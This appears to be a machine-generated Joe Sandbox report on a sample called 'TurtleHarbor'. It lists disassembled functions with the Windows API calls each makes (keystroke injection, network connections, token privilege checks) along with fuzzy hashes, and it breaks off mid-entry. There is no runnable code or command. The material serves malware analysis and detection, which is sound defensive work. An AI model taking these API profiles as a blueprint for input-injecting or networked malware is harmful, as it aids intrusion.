                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: KeyboardState$InputMessagePostSend
                                            • String ID:
                                            • API String ID: 432972143-0
                                            • Opcode ID: 91185bb6c73e1e2d10280a786ea4d2c379ab3602ecb7ae989e1dbe72b3889f9a
                                            • Instruction ID: dabec933f931ce68d7f68ff18db35c79834e4c35b436cc87d1da60ed9c0cbf36
                                            • Opcode Fuzzy Hash: 91185bb6c73e1e2d10280a786ea4d2c379ab3602ecb7ae989e1dbe72b3889f9a
                                            • Instruction Fuzzy Hash: 1D314B36A44208AEFF378A2D8C09BFE7BB9AB45310F04C21AF498569D1D37C89419B51
                                            Function 00371410 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00371465
                                            • SetKeyboardState.USER32(00000080,?,00008000), ref: 00371481
                                            • PostMessageW.USER32(00000000,00000101,00000000), ref: 003714E0
                                            • SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00371532
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: KeyboardState$InputMessagePostSend
                                            • String ID:
                                            • API String ID: 432972143-0
                                            • Opcode ID: dc33baa3348e85967403ebfb037248009423c276bddfb38a64705836b936afea
                                            • Instruction ID: aac2b7c9d612fc9b05371b1f0ed2f35c445b5c3bc80633359b3d924f7a5280fd
                                            • Opcode Fuzzy Hash: dc33baa3348e85967403ebfb037248009423c276bddfb38a64705836b936afea
                                            • Instruction Fuzzy Hash: BA316232D402485EFF3B8B6E8C057FAB779AB86320F05C31AE489521D1C37C8D459B61
                                            Function 003463F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0034642B
                                            • __isleadbyte_l.LIBCMT ref: 00346459
                                            • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00346487
                                            • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 003464BD
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                            • String ID:
                                            • API String ID: 3058430110-0
                                            • Opcode ID: 14cef6760b6cfe65d93c696d06147556165d93940943b09b6ccd794e3b4448c8
                                            • Instruction ID: 0750b7d51ccd40c8866465e45601aa09083e5d0c9cdb06b8e2394bc47e2f4c06
                                            • Opcode Fuzzy Hash: 14cef6760b6cfe65d93c696d06147556165d93940943b09b6ccd794e3b4448c8
                                            • Instruction Fuzzy Hash: 0431A131604256AFDF268F76CC86AAA7BE9FF42310F164029E8648F291DB31F850DB51
                                            Function 0039552B Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetForegroundWindow.USER32 ref: 0039553F
                                              • Part of subcall function 00373B34: GetWindowThreadProcessId.USER32(?,00000000), ref: 00373B4E
                                              • Part of subcall function 00373B34: GetCurrentThreadId.KERNEL32 ref: 00373B55
                                              • Part of subcall function 00373B34: AttachThreadInput.USER32(00000000,?,003755C0), ref: 00373B5C
                                            • GetCaretPos.USER32(?), ref: 00395550
                                            • ClientToScreen.USER32(00000000,?), ref: 0039558B
                                            • GetForegroundWindow.USER32 ref: 00395591
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                            • String ID:
                                            • API String ID: 2759813231-0
                                            • Opcode ID: 037d7cd1355feb19abafa4f7df12e251717c257eb9fa0f869f7894b47b56a170
                                            • Instruction ID: c60324d09e1068c2ed1fc1fbc5f4b942b19d691fe1f91a1fb335f97730a2b11e
                                            • Opcode Fuzzy Hash: 037d7cd1355feb19abafa4f7df12e251717c257eb9fa0f869f7894b47b56a170
                                            • Instruction Fuzzy Hash: 25314DB1900108AFDB05EFB5DC819EFB7FDEF89304F10446AE415EB201EA71AE408BA1
                                            Function 0039CB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003129E2: GetWindowLongW.USER32(?,000000EB), ref: 003129F3
                                            • GetCursorPos.USER32(?), ref: 0039CB7A
                                            • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0034BCEC,?,?,?,?,?), ref: 0039CB8F
                                            • GetCursorPos.USER32(?), ref: 0039CBDC
                                            • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0034BCEC,?,?,?), ref: 0039CC16
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Cursor$LongMenuPopupProcTrackWindow
                                            • String ID:
                                            • API String ID: 2864067406-0
                                            • Opcode ID: 4f164dace99a86386e6efbe019f5b53e027a4adbb01ed943eee3034430e6d9a7
                                            • Instruction ID: 3f31ae57303831e60849b24f9819e05696d4d6a85d83da89d3953c3a3b636144
                                            • Opcode Fuzzy Hash: 4f164dace99a86386e6efbe019f5b53e027a4adbb01ed943eee3034430e6d9a7
                                            • Instruction Fuzzy Hash: 5331D035610018AFCF179F98CC89EFA7BB9EB0A350F044099F9059B261D3319D60EFA0
                                            Function 00369274 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00368D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00368D3F
                                              • Part of subcall function 00368D28: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00368D49
                                              • Part of subcall function 00368D28: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00368D58
                                              • Part of subcall function 00368D28: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00368D5F
                                              • Part of subcall function 00368D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00368D75
                                            • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 003692C1
                                            • _memcmp.LIBCMT ref: 003692E4
                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0036931A
                                            • HeapFree.KERNEL32(00000000), ref: 00369321
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
                                            • String ID:
                                            • API String ID: 1592001646-0
                                            • Opcode ID: 8302cdee4e78bf3042132a494c199212066e89b6bcfc4aed5c1dc6d470c4549f
                                            • Instruction ID: c7ce4ce3034ed1d627777fbdd98ed7d10ce087a5be6c70ac7c725a8e7b507928
                                            • Opcode Fuzzy Hash: 8302cdee4e78bf3042132a494c199212066e89b6bcfc4aed5c1dc6d470c4549f
                                            • Instruction Fuzzy Hash: 1921AC72E40108EFDB15DFA4C945BEEBBBCFF45301F15805AE884AB294D770AA05CBA0
                                            Function 00330BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                            Download Yara Rule
                                            APIs
                                            • __setmode.LIBCMT ref: 00330BE2
                                              • Part of subcall function 0032402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00377E51,?,?,00000000), ref: 00324041
                                              • Part of subcall function 0032402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00377E51,?,?,00000000,?,?), ref: 00324065
                                            • _fprintf.LIBCMT ref: 00330C19
                                            • OutputDebugStringW.KERNEL32(?), ref: 0036694C
                                              • Part of subcall function 00334CCA: _flsall.LIBCMT ref: 00334CE3
                                            • __setmode.LIBCMT ref: 00330C4E
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
                                            • String ID:
                                            • API String ID: 521402451-0
                                            • Opcode ID: 7b211d30ae7df707ea406cc834cf9e6227e56e63d924216dfd49c30ccf182296
                                            • Instruction ID: d2d091b245770631d2105c595c59de9dc3a3826f4d11ab2852dd1c205b593a59
                                            • Opcode Fuzzy Hash: 7b211d30ae7df707ea406cc834cf9e6227e56e63d924216dfd49c30ccf182296
                                            • Instruction Fuzzy Hash: 031124719042046ADB0BB7A4AC87ABEBB6DDF45320F104156F2049E282EF256D8247A1
                                            Function 00381E33 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00381E6F
                                              • Part of subcall function 00381EF9: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00381F18
                                              • Part of subcall function 00381EF9: InternetCloseHandle.WININET(00000000), ref: 00381FB5
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Internet$CloseConnectHandleOpen
                                            • String ID:
                                            • API String ID: 1463438336-0
                                            • Opcode ID: 54afc2b70107272718ff53fecce0ad6d78467649e8b25484aa8ded5ce3b3a7dd
                                            • Instruction ID: b27657ec9b0cd446cc877d5e5c14f401614dcdc6ab95cd1d6b179a38e8c280d0
                                            • Opcode Fuzzy Hash: 54afc2b70107272718ff53fecce0ad6d78467649e8b25484aa8ded5ce3b3a7dd
                                            • Instruction Fuzzy Hash: 1D218E31200705BFDB17AF608C01FBBB7AEBB84700F10415AFE4596A50DB72A9129B90
                                            Function 00373F1D Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetFileAttributesW.KERNEL32(?,003A2C4C), ref: 00373F57
                                            • GetLastError.KERNEL32 ref: 00373F66
                                            • CreateDirectoryW.KERNEL32(?,00000000), ref: 00373F75
                                            • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,003A2C4C), ref: 00373FD2
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CreateDirectory$AttributesErrorFileLast
                                            • String ID:
                                            • API String ID: 2267087916-0
                                            • Opcode ID: 57067f201b97eab6fccb0854ccc298d880fdf02ec082a310e134814528b3edae
                                            • Instruction ID: ae127ca6badf77f57da511df5bb555dfe2e619c6d11b1f6acf88fa314e1de7ef
                                            • Opcode Fuzzy Hash: 57067f201b97eab6fccb0854ccc298d880fdf02ec082a310e134814528b3edae
                                            • Instruction Fuzzy Hash: 6821E5709083119F8725DF28D8858AFB7F8FE5A3A4F108A1DF499C72A1D730DA45DB82
                                            Function 0039634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetWindowLongW.USER32(?,000000EC), ref: 003963BD
                                            • SetWindowLongW.USER32(?,000000EC,00000000), ref: 003963D7
                                            • SetWindowLongW.USER32(?,000000EC,00000000), ref: 003963E5
                                            • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 003963F3
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$Long$AttributesLayered
                                            • String ID:
                                            • API String ID: 2169480361-0
                                            • Opcode ID: 67df00d0849800ae12c1e4c52b0e1beaff2ac15807513e9999ab55f4ef41d3db
                                            • Instruction ID: c4cf68bca6cf7072dae0c0dbc9e1096efb6435e384515c7be768e7487222f6b1
                                            • Opcode Fuzzy Hash: 67df00d0849800ae12c1e4c52b0e1beaff2ac15807513e9999ab55f4ef41d3db
                                            • Instruction Fuzzy Hash: 9B11E635305514AFDB0AAB64DC96FBA779DEF8A320F14411DF916CB2E2CB60AD40CB94
                                            Function 0036E45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0036F858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,0036E46F,?,?,?,0036F262,00000000,000000EF,00000119,?,?), ref: 0036F867
                                              • Part of subcall function 0036F858: lstrcpyW.KERNEL32(00000000,?), ref: 0036F88D
                                              • Part of subcall function 0036F858: lstrcmpiW.KERNEL32(00000000,?,0036E46F,?,?,?,0036F262,00000000,000000EF,00000119,?,?), ref: 0036F8BE
                                            • lstrlenW.KERNEL32(?,00000002,?,?,?,?,0036F262,00000000,000000EF,00000119,?,?,00000000), ref: 0036E488
                                            • lstrcpyW.KERNEL32(00000000,?), ref: 0036E4AE
                                            • lstrcmpiW.KERNEL32(00000002,cdecl,?,0036F262,00000000,000000EF,00000119,?,?,00000000), ref: 0036E4E2
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: lstrcmpilstrcpylstrlen
                                            • String ID: cdecl
                                            • API String ID: 4031866154-3896280584
                                            • Opcode ID: 598fef94e6d39dc20c3b2828cd83e6981d288d91d5ecf70b9c2c12718708dbd2
                                            • Instruction ID: 6ee5c33eef0339e9268015de43c4f8efe9e6c681d4c5f3e919e7796331fe3eb3
                                            • Opcode Fuzzy Hash: 598fef94e6d39dc20c3b2828cd83e6981d288d91d5ecf70b9c2c12718708dbd2
                                            • Instruction Fuzzy Hash: 9C11D03A200345AFCB27AF34DC45D7A77A8FF46350B41802AF906CB2A4EB31D945C791
                                            Function 00345312 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • _free.LIBCMT ref: 00345331
                                              • Part of subcall function 0033593C: __FF_MSGBANNER.LIBCMT ref: 00335953
                                              • Part of subcall function 0033593C: __NMSG_WRITE.LIBCMT ref: 0033595A
                                              • Part of subcall function 0033593C: RtlAllocateHeap.NTDLL(01000000,00000000,00000001,?,?,?,?,00331003,?,0000FFFF), ref: 0033597F
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AllocateHeap_free
                                            • String ID:
                                            • API String ID: 614378929-0
                                            • Opcode ID: ce6c85c049602cde0fa84422abc7bf8f34d1de6bdb05fa848a06ed2ba8bc3b7b
                                            • Instruction ID: 68e76724675b13c28ce3e243dbc6e60e242225959dfa7a2be0fcadde62d08100
                                            • Opcode Fuzzy Hash: ce6c85c049602cde0fa84422abc7bf8f34d1de6bdb05fa848a06ed2ba8bc3b7b
                                            • Instruction Fuzzy Hash: 5411E336906B19AFCB273F70AC8575E37D8AF213A0F11492AF8489E1A2DF7099409790
                                            Function 00374365 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00374385
                                            • _memset.LIBCMT ref: 003743A6
                                            • DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 003743F8
                                            • CloseHandle.KERNEL32(00000000), ref: 00374401
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CloseControlCreateDeviceFileHandle_memset
                                            • String ID:
                                            • API String ID: 1157408455-0
                                            • Opcode ID: 23a994a9be818638b93c78b7ecc157cbaa6861aab31ba4bb378a521e6ed5d518
                                            • Instruction ID: bdc3703c33d8c7c7bc8d4c80c8f1b4d2d8f52a5103f9122a97dd07a1df793d44
                                            • Opcode Fuzzy Hash: 23a994a9be818638b93c78b7ecc157cbaa6861aab31ba4bb378a521e6ed5d518
                                            • Instruction Fuzzy Hash: D6110A75D013287AE7319BA5AC4DFEBBB7CEF45720F00459AF908E7180D2745E808BA4
                                            Function 00386A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0032402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00377E51,?,?,00000000), ref: 00324041
                                              • Part of subcall function 0032402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00377E51,?,?,00000000,?,?), ref: 00324065
                                            • gethostbyname.WSOCK32(?,?,?), ref: 00386A84
                                            • WSAGetLastError.WSOCK32(00000000), ref: 00386A8F
                                            • _memmove.LIBCMT ref: 00386ABC
                                            • inet_ntoa.WSOCK32(?), ref: 00386AC7
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
                                            • String ID:
                                            • API String ID: 1504782959-0
                                            • Opcode ID: fdf1db8e31eda17bff009e1ef8545c03890afd0fa9f261a48acd9cc16d9d4c23
                                            • Instruction ID: e76aee5ca4932dd4b65f7cdb3ce2d9d0f1b7820a9c51e5670db884fc3b165eb8
                                            • Opcode Fuzzy Hash: fdf1db8e31eda17bff009e1ef8545c03890afd0fa9f261a48acd9cc16d9d4c23
                                            • Instruction Fuzzy Hash: 68115176500109AFCB0AFBA4DD86DEEB7BCEF19310B148065F502AB262DF309E44CB91
                                            Function 0031166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003129E2: GetWindowLongW.USER32(?,000000EB), ref: 003129F3
                                            • DefDlgProcW.USER32(?,00000020,?), ref: 003116B4
                                            • GetClientRect.USER32(?,?), ref: 0034B93C
                                            • GetCursorPos.USER32(?), ref: 0034B946
                                            • ScreenToClient.USER32(?,?), ref: 0034B951
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Client$CursorLongProcRectScreenWindow
                                            • String ID:
                                            • API String ID: 4127811313-0
                                            • Opcode ID: 9d44e3d29d32611e0446e66b7f383ab45f26a7ed5b665e7e06016b8e0d5df95f
                                            • Instruction ID: f2c88f4b2c7e323e359011eccb4d247a31c3b1bda4faf2d683ec5454b87ce16d
                                            • Opcode Fuzzy Hash: 9d44e3d29d32611e0446e66b7f383ab45f26a7ed5b665e7e06016b8e0d5df95f
                                            • Instruction Fuzzy Hash: 60112B35A00019AFCB0AEF54D885DFEB7B8EB0A301F540455FE41E7150D731BA91CBA5
                                            Function 003696F9 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON
                                            Download Yara Rule
                                            APIs
